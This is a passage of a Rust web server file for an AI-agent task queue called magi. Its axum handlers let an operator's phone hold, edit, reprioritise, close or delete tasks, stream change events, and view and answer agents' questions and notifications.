7272    let body = match body {
7273        Ok(Json(body)) => body,
7274        Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
7275        Err(e) => return Err(ApiError::bad_request(e.body_text())),
7276    };
7277    let reason = body.reason.filter(|r| !r.trim().is_empty());
7278    mutate(ui, id, move |t| {
7279        t.hold_manual(reason.clone());
7280        Ok(())
7281    })
7282    .await
7283}
7284
7285async fn queue_release(
7286    State(ui): State<Arc<Ui>>,
7287    Path(id): Path<String>,
7288) -> ApiResult<Json<TaskView>> {
7289    mutate(ui, id, |t| {
7290        t.release_operator("web", None);
7291        Ok(())
7292    })
7293    .await
7294}
7295
7296#[derive(Debug, Deserialize)]
7297#[serde(deny_unknown_fields)]
7298struct AttemptLimitBody {
7299    // Required even when clearing: missing fields must not silently erase an override.
7300    attempt_limit: serde_json::Value,
7301}
7302
7303async fn queue_attempt_limit(
7304    State(ui): State<Arc<Ui>>,
7305    Path(id): Path<String>,
7306    body: std::result::Result<Json<AttemptLimitBody>, JsonRejection>,
7307) -> ApiResult<Json<TaskView>> {
7308    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7309    let limit = serde_json::from_value::<Option<std::num::NonZeroUsize>>(body.attempt_limit)
7310        .map_err(|_| ApiError::bad_request("attempt_limit must be a positive integer or null"))?;
7311    mutate(ui, id, move |t| t.change_attempt_limit(limit)).await
7312}
7313
7314#[derive(Debug, Deserialize)]
7315#[serde(deny_unknown_fields)]
7316struct ImplementersBody {
7317    implementers: u8,
7318}
7319
7320async fn queue_implementers(
7321    State(ui): State<Arc<Ui>>,
7322    Path(id): Path<String>,
7323    body: std::result::Result<Json<ImplementersBody>, JsonRejection>,
7324) -> ApiResult<Json<TaskView>> {
7325    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7326    mutate(ui, id, move |t| t.change_implementers(body.implementers)).await
7327}
7328
7329#[derive(Debug, Deserialize)]
7330#[serde(deny_unknown_fields)]
7331struct UrgentBody {
7332    urgent: bool,
7333}
7334
7335async fn queue_urgent(
7336    State(ui): State<Arc<Ui>>,
7337    Path(id): Path<String>,
7338    body: std::result::Result<Json<UrgentBody>, JsonRejection>,
7339) -> ApiResult<Json<TaskView>> {
7340    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7341    mutate(ui, id, move |t| t.set_urgent(body.urgent)).await
7342}
7343
7344/// The body of `POST /api/queue/{id}/priority`.
7345#[derive(Debug, Deserialize)]
7346#[serde(deny_unknown_fields)]
7347struct PriorityBody {
7348    priority: i32,
7349}
7350
7351/// `POST /api/queue/{id}/priority` - the up/down control on the Queue card.
7352///
7353/// [`Task::set_priority`] is the one place the "not while running" rule is
7354/// stated; this route only carries the body to it and lets its `Err` become
7355/// the 4xx the card shows.
7356async fn queue_priority(
7357    State(ui): State<Arc<Ui>>,
7358    Path(id): Path<String>,
7359    body: std::result::Result<Json<PriorityBody>, JsonRejection>,
7360) -> ApiResult<Json<TaskView>> {
7361    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7362    mutate(ui, id, move |t| t.set_priority(body.priority)).await
7363}
7364
7365/// The body of `POST /api/queue/{id}/edit`.
7366#[derive(Debug, Deserialize)]
7367#[serde(deny_unknown_fields)]
7368struct EditBody {
7369    title: String,
7370    instruction: String,
7371    /// Save even though the new text names a branch, commit or pull request
7372    /// that unfinished work already owns.
7373    #[serde(default)]
7374    force: bool,
7375}
7376
7377/// `POST /api/queue/{id}/edit` - the full-text replacement the phone's edit
7378/// sheet sends. [`Task::edit`] refuses anything but `queued` and `held`, and
7379/// that refusal's message is what the sheet shows back.
7380async fn queue_edit(
7381    State(ui): State<Arc<Ui>>,
7382    Path(id): Path<String>,
7383    body: std::result::Result<Json<EditBody>, JsonRejection>,
7384) -> ApiResult<Json<TaskView>> {
7385    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7386    // The judge is an agent call, so it is awaited here, outside the claim
7387    // `mutate` holds: a daemon must not be kept waiting on it. What it saw is
7388    // remembered, and the save refuses if the task moved underneath it.
7389    let mut judged: Option<(String, PathBuf)> = None;
7390    if !body.force {
7391        let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
7392        let (id, text) = (id.clone(), body.instruction.clone());
7393        let (seen, hits) = blocking(move || {
7394            let id = resolve_task(&queue, &id)?;
7395            let t = queue.get(&id)?;
7396            if text == t.instruction {
7397                return Ok((None, Vec::new()));
7398            }
7399            let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
7400            Ok((Some((t.instruction, t.repo)), hits))
7401        })
7402        .await?;
7403        if let Some((_, repo)) = &seen {
7404            let cfg = crate::config::Config::discover(repo, None)
7405                .ok()
7406                .map(|(c, _)| c);
7407            let screened =
7408                crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
7409                    .await
7410                    .map_err(|dup| {
7411                        ApiError::conflict(dup.render(
7412                            "Nothing was saved. If it is not a duplicate, repeat the request \
7413                             with \"force\": true.",
7414                        ))
7415                    })?;
7416            if let crate::dupes::Screened::Unjudged(why) = screened {
7417                tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
7418            }
7419        }
7420        judged = seen;
7421    }
7422    let force = body.force;
7423    mutate(ui, id, move |t| {
7424        if !force && body.instruction != t.instruction {
7425            match &judged {
7426                Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
7427                _ => {
7428                    anyhow::bail!("the task changed while it was being checked; repeat the request")
7429                }
7430            }
7431        }
7432        t.edit(body.title.clone(), body.instruction.clone())
7433    })
7434    .await
7435}
7436
7437/// `POST /api/queue/{id}/done` - close a task as finished without deleting
7438/// it, so the phone's other way to clear a task from the backlog does not
7439/// have to cost the run history, the attribution, and `created_at` the way
7440/// [`queue_delete`] does. Behaves exactly like `magi task done`: any status
7441/// can be marked done by hand, because this is for the run the loop never
7442/// saw land - a merge done by hand, or a gate that misreported - and that can
7443/// happen from any status the task was left in.
7444async fn queue_done(
7445    State(ui): State<Arc<Ui>>,
7446    Path(id): Path<String>,
7447) -> ApiResult<Json<TaskView>> {
7448    let home = ui.home.clone();
7449    mutate(ui, id, move |t| {
7450        t.succeed();
7451        // Same as the loop's own settle path: closing a task by hand is just
7452        // as much "this task's story is over" as a daemon-driven `Merged`/
7453        // `Ready` is, so any earlier `Blocked`/`Stalled` attempt it leaves
7454        // behind must stop looking like it still needs a human. `ui.home`,
7455        // not the process-global `run::home()`: they agree in a real
7456        // process, but only `ui.home` also agrees with a test fixture's own
7457        // directory.
7458        crate::daemon::supersede_prior_runs(t, &home);
7459        Ok(())
7460    })
7461    .await
7462}
7463
7464/// `DELETE /api/queue/{id}`.
7465///
7466/// Remove a task from the backlog. Refused only while a live daemon's heartbeat
7467/// names this task: a `running` status or an orphaned `.lock` left behind by a
7468/// killed daemon is a leftover, and treating either as authority made the
7469/// task undeletable from the phone for good. The associated runs, if any, are
7470/// kept: a run is self-contained history and not an appendage of the task.
7471async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
7472    blocking(move || {
7473        let id = resolve_task(&ui.queue, &id)?;
7474        let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
7475        ui.queue
7476            .remove(&id, in_flight, &ui.questions)
7477            .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
7478        Ok(StatusCode::NO_CONTENT)
7479    })
7480    .await
7481}
7482
7483/// Read a task, change it, write it back, under the queue's own lock.
7484///
7485/// Taking the same claim a daemon takes is what makes hold, release,
7486/// priority, edit, and done safe to press while magi is running: without it
7487/// the daemon's next save would land on top of the operator's change and
7488/// undo it. `change` can refuse - [`Task::set_priority`] and [`Task::edit`]
7489/// both do, for a running task - and that refusal becomes the 4xx the card
7490/// shows, same as any other domain rule.
7491async fn mutate(
7492    ui: Arc<Ui>,
7493    id: String,
7494    change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
7495) -> ApiResult<Json<TaskView>> {
7496    blocking(move || {
7497        let id = resolve_task(&ui.queue, &id)?;
7498        // `claim` fails when the lock file already exists, which is the
7499        // conflict the UI must report: the daemon owns that task's file for
7500        // as long as it is running it, and our write would be lost under its
7501        // next save. The message names the lock either way.
7502        let _claim = ui.queue.claim(&id).map_err(|e| {
7503            ApiError::conflict(format!(
7504                "{e:#} - a daemon is running this task, so it cannot be \
7505                 changed from here yet; wait until it is released, then retry"
7506            ))
7507        })?;
7508        let mut task = ui.queue.get(&id)?;
7509        change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
7510            Ok(dup) => ApiError::conflict(dup.render(
7511                "Nothing was saved. If it is not a duplicate, repeat the request with \
7512                 \"force\": true.",
7513            )),
7514            Err(e) => ApiError::bad_request_from(e),
7515        })?;
7516        ui.queue.put(&mut task)?;
7517        Ok(Json(TaskView::from(task)))
7518    })
7519    .await
7520}
7521
7522/// The change stream: one revision number per store, on connect and whenever
7523/// any of them moves.
7524///
7525/// One shared worker scans stores; clients only forward its notifications.
7526async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
7527    ui.monitor.ensure_worker(&ui);
7528    let mut broadcast_rx = ui.monitor.broadcaster.subscribe();
7529    let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
7530
7531    let state = Arc::clone(&ui);
7532    tokio::spawn(async move {
7533        let initial_revisions = {
7534            let guard = match state.monitor.latest.lock() {
7535                Ok(g) => g,
7536                Err(p) => p.into_inner(),
7537            };
7538            guard.as_ref().map(|(r, _)| *r)
7539        };
7540        if let Some(revisions) = initial_revisions {
7541            let initial_payload = serde_json::json!({
7542                "queue_rev": revisions.0,
7543                "runs_rev": revisions.1,
7544                "questions_rev": revisions.2,
7545                "talks_rev": revisions.3,
7546                "notifications_rev": revisions.4,
7547                "loop_rev": revisions.5,
7548            });
7549
7550            if let Ok(event) = Event::default().event("change").json_data(initial_payload) {
7551                if tx.send(event).await.is_err() {
7552                    return;
7553                }
7554            }
7555        }
7556
7557        loop {
7558            match tokio::select! {
7559                _ = tx.closed() => return,
7560                value = broadcast_rx.recv() => value,
7561            } {
7562                Ok(notif) => {
7563                    let Ok(event) = Event::default().event("change").json_data(notif.payload)
7564                    else {
7565                        break;
7566                    };
7567                    if tx.send(event).await.is_err() {
7568                        break;
7569                    }
7570                }
7571                Err(tokio::sync::broadcast::error::RecvError::Lagged(_)) => {
7572                    let revs = {
7573                        let guard = match state.monitor.latest.lock() {
7574                            Ok(g) => g,
7575                            Err(p) => p.into_inner(),
7576                        };
7577                        guard.as_ref().map(|(r, _)| *r)
7578                    };
7579                    if let Some(revs) = revs {
7580                        let payload = serde_json::json!({
7581                            "queue_rev": revs.0,
7582                            "runs_rev": revs.1,
7583                            "questions_rev": revs.2,
7584                            "talks_rev": revs.3,
7585                            "notifications_rev": revs.4,
7586                            "loop_rev": revs.5,
7587                        });
7588                        if let Ok(event) = Event::default().event("change").json_data(payload) {
7589                            if tx.send(event).await.is_err() {
7590                                break;
7591                            }
7592                        }
7593                    }
7594                }
7595                Err(tokio::sync::broadcast::error::RecvError::Closed) => {
7596                    break;
7597                }
7598            }
7599        }
7600    });
7601
7602    Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
7603        .keep_alive(KeepAlive::new().interval(KEEPALIVE))
7604}
7605
7606/// Run ids under `runs`, newest first.
7607///
7608/// Rooted at an explicit directory rather than calling [`run::list_ids`],
7609/// which reads the process-global home: the server has to be drivable against
7610/// a temp directory for any of this to be testable.
7611fn run_ids(runs: &FsPath) -> Vec<String> {
7612    let mut ids: Vec<String> = std::fs::read_dir(runs)
7613        .into_iter()
7614        .flatten()
7615        .flatten()
7616        .filter(|e| e.path().join("run.json").is_file())
7617        .map(|e| e.file_name().to_string_lossy().into_owned())
7618        .collect();
7619    // Ids start with a sortable timestamp.
7620    ids.sort_unstable_by(|a, b| b.cmp(a));
7621    ids
7622}
7623
7624/// Read one run's state from an explicit runs root.
7625fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
7626    let path = runs.join(id).join("run.json");
7627    let body =
7628        std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
7629    let state: RunState =
7630        serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
7631    // The same migration `RunState::load` applies, so a record from the
7632    // previous schema reads here as it does everywhere else (an origin-less
7633    // run shows as "origin unknown") instead of vanishing from the phone the
7634    // moment the schema is bumped.
7635    run::migrate_schema(state)
7636}
7637
7638/// Runs on disk under `runs` whose state this build cannot parse - almost
7639/// always a schema bump, occasionally a run killed mid-write.
7640///
7641/// Exposed so every surface that reports on runs shares one count instead of
7642/// each re-deriving it: `/api/health` reports it as `runs_unreadable`, and
7643/// `magi doctor` calls this directly rather than guessing at the same number
7644/// a second way.
7645#[must_use]
7646pub fn runs_unreadable(runs: &FsPath) -> usize {
7647    run_ids(runs)
7648        .into_iter()
7649        .filter(|id| read_run(runs, id).is_err())
7650        .count()
7651}
7652
7653fn plain_record_id(id: &str) -> bool {
7654    !id.is_empty() && id != "." && id != ".." && !id.contains(['/', '\\'])
7655}
7656
7657/// Expand an id or short id to exactly one run id.
7658fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
7659    if plain_record_id(id) && runs.join(id).join("run.json").is_file() {
7660        return Ok(id.to_owned());
7661    }
7662    pick(run_ids(runs), id, "run")
7663}
7664
7665/// Expand an id or short id to exactly one task id.
7666fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
7667    if plain_record_id(id) && queue.path_of(id).is_file() {
7668        return Ok(id.to_owned());
7669    }
7670    let ids = crate::queue::record_ids(queue.root(), "json").unwrap_or_default();
7671    pick(ids, id, "task")
7672}
7673
7674/// A question as the phone reads it.
7675///
7676/// `detail`, the reasoning an agent wrote, is markdown; `detail_md` is that
7677/// text already parsed into a node tree so the client never runs its own
7678/// markdown reader over agent-authored prose. A relative image path in it
7679/// resolves against this question's own panel asset route, which is the one
7680/// place [`md::ImageBase::QuestionPanel`] is used - the panel iframe is a
7681/// separate, sandboxed document, but `detail` is rendered inline in the
7682/// operator's own page, so an image reference in it may only ever point at
7683/// files magi itself already serves for this question.
7684#[derive(Debug, Serialize)]
7685struct QuestionView {
7686    choice_effects: std::collections::BTreeMap<String, String>,
7687    record_revision: String,
7688    #[serde(flatten)]
7689    question: Question,
7690    detail_md: Vec<md::Node>,
7691    posting_view: Option<PostingView>,
7692    /// Each thread turn's body, parsed; same order as `question.thread`.
7693    thread_bodies_md: Vec<Vec<md::Node>>,
7694    /// Each thread turn's deputy note, parsed (`None` for a turn without
7695    /// one); same order as `question.thread`.
7696    thread_notes_md: Vec<Option<Vec<md::Node>>>,
7697    /// Is the ball in the agent's court right now?
7698    ///
7699    /// [`QuestionStatus`] stays `Open` for the whole of a round trip - see
7700    /// [`Question::say`] - so this is the one field that tells the phone to
7701    /// disable the answer controls and show "waiting for the agent" instead of
7702    /// a card the owner can act on. Computed rather than stored on
7703    /// [`Question`] itself, on the same reasoning as `waiting` on
7704    /// [`RunSummary`]: it is a read of `thread`'s own last entry, and keeping
7705    /// it here means the client never has to re-derive that rule.
7706    waiting_on_agent: bool,
7707    /// Who is waiting on this open question - see [`holder_of`]. Separate
7708    /// from `waiting_on_agent`, which is whose *turn* it is, not whether
7709    /// anyone is there to take it.
7710    holder: Option<&'static str>,
7711    /// Whether `magi serve` can start a follow-up agent for a conductor
7712    /// question at all: false when `daemon.max_deputies = 0` or the config is
7713    /// unreadable. Separate from `holder`, which says who is listening now.
7714    deputies_enabled: bool,
7715    /// All starts were spent and no live holder remains. Display-only: the
7716    /// final attempt increments `starts` before running under its lease.
7717    deputy_exhausted: bool,
7718    text_delivery: crate::question_delivery::Availability,
7719    /// `question.run` is a task id (conductor / triage questions), not a run
7720    /// id, so the UI links it to the task page.
7721    run_is_task: bool,
7722    /// The existing chat this question's task came from, including settled
7723    /// questions - see [`crate::consult::associated_talk`].
7724    origin_chat: Option<String>,
7725    /// `origin_chat` is closed; consulting reopens it first.
7726    origin_chat_closed: bool,
7727    /// Consultation eligibility is separate from navigation to the chat.
7728    can_consult_chat: bool,
7729}
7730
7731#[derive(Debug, Serialize)]
7732struct PostingView {
7733    before_md: Vec<md::Node>,
7734    after_md: Vec<md::Node>,
7735    fields: Vec<crate::github_text::ComparisonView>,
7736}
7737
7738fn posting_view(question: &Question, base: &md::ImageBase) -> Option<PostingView> {
7739    let comparison = question.posting_comparison.as_ref()?;
7740    if !comparison.matches_detail(&question.detail) {
7741        return None;
7742    }
7743    let mut ids = std::collections::BTreeSet::new();
7744    if comparison.fields.is_empty()
7745        || comparison
7746            .fields
7747            .iter()
7748            .flat_map(|f| &f.pairs)
7749            .any(|p| !ids.insert(p.id))
7750        || comparison
7751            .fields
7752            .iter()
7753            .flat_map(|f| &f.original_triggers)
7754            .any(|t| !ids.insert(t.id))
7755    {
7756        return None;
7757    }
7758    let fields = comparison
7759        .fields
7760        .iter()
7761        .map(|f| f.view(comparison.excerpt))
7762        .collect::<Option<Vec<_>>>()?;
7763    Some(PostingView {
7764        before_md: md::to_nodes(question.detail.get(..comparison.start)?, base),
7765        after_md: md::to_nodes(question.detail.get(comparison.end..)?, base),
7766        fields,
7767    })
7768}
7769
7770impl QuestionView {
7771    /// The view of `question`, reading who is waiting on it from `store`.
7772    ///
7773    /// `holder` needs the lease sidecar, which is why this is not a `From`.
7774    fn of(question: Question, store: &ask::Questions, cfg: Option<&Config>) -> Self {
7775        let base = md::ImageBase::QuestionPanel {
7776            id: question.id.clone(),
7777        };
7778        let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
7779        Self {
7780            choice_effects: question
7781                .choices
7782                .iter()
7783                .filter_map(|c| {
7784                    crate::choice_effect::describe(&question, c).map(|effect| (c.clone(), effect))
7785                })
7786                .collect(),
7787            record_revision: question_record_revision(&question),
7788            detail_md: md::to_nodes(&question.detail, &base),
7789            posting_view: posting_view(&question, &base),
7790            thread_bodies_md: question
7791                .thread
7792                .iter()
7793                .map(|t| md::to_nodes(&t.body, &base))
7794                .collect(),
7795            thread_notes_md: question
7796                .thread
7797                .iter()
7798                .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
7799                .collect(),
7800            deputy_exhausted: store.deputy_exhausted(&question),
7801            waiting_on_agent: question.waiting_on_agent(),
7802            holder,
7803            deputies_enabled: deputies_enabled(cfg, &question),
7804            text_delivery: crate::question_delivery::availability(store, &question, cfg),
7805            run_is_task: question.run_names_task(),
7806            origin_chat: None,
7807            origin_chat_closed: false,
7808            can_consult_chat: false,
7809            question,
7810        }
7811    }
7812
7813    /// Fill `origin_chat` from the queue and the talks.
7814    fn with_origin(
7815        mut self,
7816        tasks: &[crate::queue::Task],
7817        talks: &[Talk],
7818        watches: &[crate::release_watch::WatchState],
7819    ) -> Self {
7820        let consult = crate::consult::origin_talk(tasks, talks, &self.question);
7821        self.can_consult_chat = consult.is_some();
7822        let talk =
7823            crate::consult::associated_talk_with_watches(tasks, talks, &self.question, watches);
7824        self.origin_chat_closed = talk.as_ref().is_some_and(|t| !t.status.open());
7825        self.origin_chat = talk.map(|t| t.id);
7826        self
7827    }
7828}
7829
7830/// The config this repository resolves, or `None` when it cannot be read.
7831/// Discovering is git processes plus a config render, so a request that needs
7832/// it for many items takes it once and passes it down.
7833fn deputy_config(repo: &std::path::Path) -> Option<Config> {
7834    Config::discover(repo, None).ok().map(|(c, _)| c)
7835}
7836
7837/// Can `magi serve` start a deputy for this question under `cfg`?
7838fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
7839    crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
7840}
7841
7842/// The views `GET /api/questions` answers. `load` runs at most once, however
7843/// many questions there are, and not at all when there are none.
7844fn question_views(
7845    qs: Vec<Question>,
7846    store: &ask::Questions,
7847    load: impl FnOnce() -> Option<Config>,
7848) -> Vec<QuestionView> {
7849    if qs.is_empty() {
7850        return Vec::new();
7851    }
7852    let cfg = load();
7853    qs.into_iter()
7854        .map(|q| QuestionView::of(q, store, cfg.as_ref()))
7855        .collect()
7856}
7857
7858/// Who is honestly waiting on an open question right now: `"asker"` (the
7859/// agent's own `magi ask`), `"deputy"` (the follow-up seat `magi serve` runs
7860/// for a conductor question), `"daemon"` (`magi serve` resuming the asking
7861/// seat's session), or `"nobody"` - the asker is gone and nothing has picked it
7862/// up, or the question never had anyone listening (a conductor question or a
7863/// merge approval from before deputies, or not yet given one).
7864///
7865/// `None` for a question that is settled, and for one that is not an agent's
7866/// to wait on at all (a release notice).
7867fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
7868    if !q.status.open() {
7869        return None;
7870    }
7871    if q.cwd.is_none()
7872        && q.deputy.is_none()
7873        && lease.is_none_or(|l| !l.fresh(jiff::Timestamp::now()))
7874    {
7875        return crate::deputy::kind_of(q).map(|_| "nobody");
7876    }
7877    Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
7878        Some(_) if q.deputy.is_some() => "deputy",
7879        Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
7880        Some(_) => "asker",
7881        None => "nobody",
7882    })
7883}
7884
7885/// `GET /api/questions`.
7886///
7887/// Everything, not just the open ones: an answered question is the record of a
7888/// decision, and the phone is where the operator goes back to check what they
7889/// told an agent at 3am. `ask::Questions::list` already ranks open first.
7890async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
7891    blocking(move || {
7892        let questions = ui.questions.list();
7893        let (tasks, talks, watches) = question_origin_inputs(&ui, &questions)?;
7894        Ok(Json(
7895            question_views(questions, &ui.questions, || deputy_config(&ui.repo))
7896                .into_iter()
7897                .map(|view| view.with_origin(&tasks, &talks, &watches))
7898                .collect(),
7899        ))
7900    })
7901    .await
7902}
7903
7904/// Question content and answer controls never wait for task/chat provenance.
7905async fn questions_core(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
7906    blocking(move || {
7907        Ok(Json(question_views(
7908            ui.questions.list(),
7909            &ui.questions,
7910            || deputy_config(&ui.repo),
7911        )))
7912    })
7913    .await
7914}
7915
7916fn question_record_revision(question: &Question) -> String {
7917    use std::hash::{Hash as _, Hasher as _};
7918    let mut hash = std::hash::DefaultHasher::new();
7919    serde_json::to_vec(question)
7920        .expect("serializable question")
7921        .hash(&mut hash);
7922    format!("{:016x}", hash.finish())
7923}
7924
7925#[derive(Serialize)]
7926struct QuestionOriginView {
7927    id: String,
7928    record_revision: String,
7929    origin_chat: Option<String>,
7930    origin_chat_closed: bool,
7931    can_consult_chat: bool,
7932}
7933
7934async fn question_origins(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionOriginView>>> {
7935    blocking(move || {
7936        let questions = ui.questions.list();
7937        let (tasks, talks, watches) = question_origin_inputs(&ui, &questions)?;
7938        Ok(Json(
7939            questions
7940                .into_iter()
7941                .map(|question| {
7942                    let consult = crate::consult::origin_talk(&tasks, &talks, &question);
7943                    let can_consult_chat = consult.is_some();
7944                    let talk = crate::consult::associated_talk_with_watches(
7945                        &tasks, &talks, &question, &watches,
7946                    );
7947                    QuestionOriginView {
7948                        record_revision: question_record_revision(&question),
7949                        id: question.id,
7950                        origin_chat_closed: talk.as_ref().is_some_and(|talk| !talk.status.open()),
7951                        origin_chat: talk.map(|talk| talk.id),
7952                        can_consult_chat,
7953                    }
7954                })
7955                .collect(),
7956        ))
7957    })
7958    .await
7959}
7960
7961type QuestionOriginInputs = (Vec<Task>, Vec<Talk>, Vec<crate::release_watch::WatchState>);
7962
7963/// Only the task ancestry and chats these questions actually reference. Run
7964/// mappings share the reconciled queue index; exact task references bypass it.
7965/// No question means no task/chat I/O, including no index reconciliation.
7966fn question_origin_inputs(ui: &Ui, questions: &[Question]) -> ApiResult<QuestionOriginInputs> {
7967    fn task_for_run(
7968        ui: &Ui,
7969        index: &mut Option<Vec<Arc<TaskRelation>>>,
7970        run: &str,
7971        loaded: &HashMap<String, Task>,
7972    ) -> ApiResult<Option<Task>> {
7973        if !plain_record_id(run) {
7974            return Ok(None);
7975        }
7976        if index.is_none() {
7977            *index = Some(ui.indexed_tasks()?);
7978        }
7979        Ok(index
7980            .as_ref()
7981            .expect("loaded index")
7982            .iter()
7983            .find(|task| task.runs.iter().any(|id| id == run))
7984            .and_then(|task| {
7985                loaded
7986                    .get(&task.id)
7987                    .cloned()
7988                    .or_else(|| ui.queue.get(&task.id).ok())
7989            })
7990            .filter(|task| task.runs.iter().any(|id| id == run)))
7991    }
7992    let direct_task = |id: &str, loaded: &HashMap<String, Task>| {
7993        plain_record_id(id)
7994            .then(|| loaded.get(id).cloned().or_else(|| ui.queue.get(id).ok()))
7995            .flatten()
7996            .filter(|task| task.id == id)
7997    };
7998    let watches = crate::release_watch::states_for_questions(&ui.home, questions);
7999    let mut index = None;
8000    let mut tasks = HashMap::new();
8001    let mut talks = HashMap::new();
8002    for question in questions {
8003        for reference in crate::consult::question_task_refs(question, &watches) {
8004            let mut current = match reference {
8005                crate::consult::QuestionTaskRef::Task(id) => direct_task(id, &tasks),
8006                crate::consult::QuestionTaskRef::Run(id) => {
8007                    task_for_run(ui, &mut index, id, &tasks)?
8008                }
8009            };
8010            let mut seen = HashSet::new();
8011            for _ in 0..=crate::followup::MAX_FOLLOWUP_GENERATION {
8012                let Some(task) = current.take() else {
8013                    break;
8014                };
8015                if !seen.insert(task.id.clone()) {
8016                    break;
8017                }
8018                let chat = task.chat_talk().map(str::to_owned);
8019                let followup = task.followup.clone();
8020                tasks.insert(task.id.clone(), task);
8021                if let Some(chat) = chat {
8022                    if plain_record_id(&chat)
8023                        && !talks.contains_key(&chat)
8024                        && let Ok(talk) = ui.talks.get(&chat)
8025                    {
8026                        talks.insert(chat, talk);
8027                    }
8028                    break;
8029                }
8030                let Some(followup) = followup else {
8031                    break;
8032                };
8033                current = match followup.origin_task {
8034                    Some(id) => direct_task(&id, &tasks),
8035                    None => task_for_run(ui, &mut index, &followup.run, &tasks)?,
8036                };
8037            }
8038        }
8039    }
8040    let mut tasks: Vec<Task> = tasks.into_values().collect();
8041    tasks.sort_unstable_by(|a, b| b.priority.cmp(&a.priority).then_with(|| b.id.cmp(&a.id)));
8042    Ok((tasks, talks.into_values().collect(), watches))
8043}
8044
8045/// `GET /api/notifications`: not dismissed, newest first, with the unread
8046/// count so the badge and the list cannot disagree.
8047async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
8048    blocking(move || {
8049        let items = ui.notices.list();
8050        let unread = items.iter().filter(|n| n.unread()).count();
8051        let items: Vec<_> = items
8052            .into_iter()
8053            .map(|n| {
8054                let question = crate::notices::answerable_question(&n, &ui.questions);
8055                let mut item = serde_json::to_value(n)?;
8056                item["answerable_question"] = serde_json::json!(question);
8057                Ok(item)
8058            })
8059            .collect::<anyhow::Result<_>>()?;
8060        Ok(Json(
8061            serde_json::json!({ "unread": unread, "items": items }),
8062        ))
8063    })
8064    .await
8065}
8066
8067fn notice_error(e: anyhow::Error) -> ApiError {
8068    // An unknown or malformed id and a vanished file are the same answer to
8069    // the phone: that notification is gone.
8070    ApiError::not_found(format!("{e:#}"))
8071}
8072
8073/// `POST /api/notifications/{id}/read`.
8074async fn notification_read(
8075    State(ui): State<Arc<Ui>>,
8076    Path(id): Path<String>,
8077) -> ApiResult<Json<Notice>> {
8078    blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
8079}
8080
8081/// `POST /api/notifications/{id}/dismiss`.
8082async fn notification_dismiss(
8083    State(ui): State<Arc<Ui>>,
8084    Path(id): Path<String>,
8085) -> ApiResult<Json<Notice>> {
8086    blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
8087}
8088
8089/// `POST /api/notifications/read-all`.
8090async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
8091    blocking(move || {
8092        let changed = ui.notices.mark_all_read()?;
8093        Ok(Json(serde_json::json!({ "marked": changed })))
8094    })
8095    .await
8096}
8097
8098/// The body of `POST /api/questions/{id}/answer`.
8099///
8100/// Exactly one of the two fields, mirroring `ask::Answer`. Both or neither is
8101/// a bad request rather than a guess: an answer magi invented is worse than a
8102/// question left open.
8103#[derive(Debug, Default, Deserialize)]
8104#[serde(default, deny_unknown_fields)]
8105struct NewAnswer {
8106    choice: Option<String>,
8107    text: Option<String>,
8108    talk: Option<String>,
8109    head: Option<String>,
8110}
8111
8112async fn question_answer(
8113    State(ui): State<Arc<Ui>>,
8114    Path(id): Path<String>,
8115    body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
8116) -> ApiResult<Json<QuestionView>> {
8117    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8118    let answer = match (body.choice, body.text) {
8119        (Some(c), None) => Answer::Choice(c),
8120        (None, Some(t)) => Answer::Text(t),
8121        (Some(_), Some(_)) => {
8122            return Err(ApiError::bad_request(
8123                "send either `choice` or `text`, not both",
8124            ));
8125        }
8126        (None, None) => {
8127            return Err(ApiError::bad_request("send a `choice` or a `text`"));
8128        }
8129    };
8130
8131    blocking(move || {
8132        let id = resolve_question(&ui.questions, &id)?;
8133        let q = ui
8134            .questions
8135            .get(&id)
8136            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
8137        if !q.status.open() {
8138            // Answered from the terminal, or by another phone, in between the
8139            // list and the tap. The UI shows the recorded answer rather than an
8140            // error, so it needs the record, not just the status.
8141            return Err(ApiError::conflict(format!(
8142                "question {} is already {}",
8143                q.short(),
8144                q.status.as_str()
8145            )));
8146        }
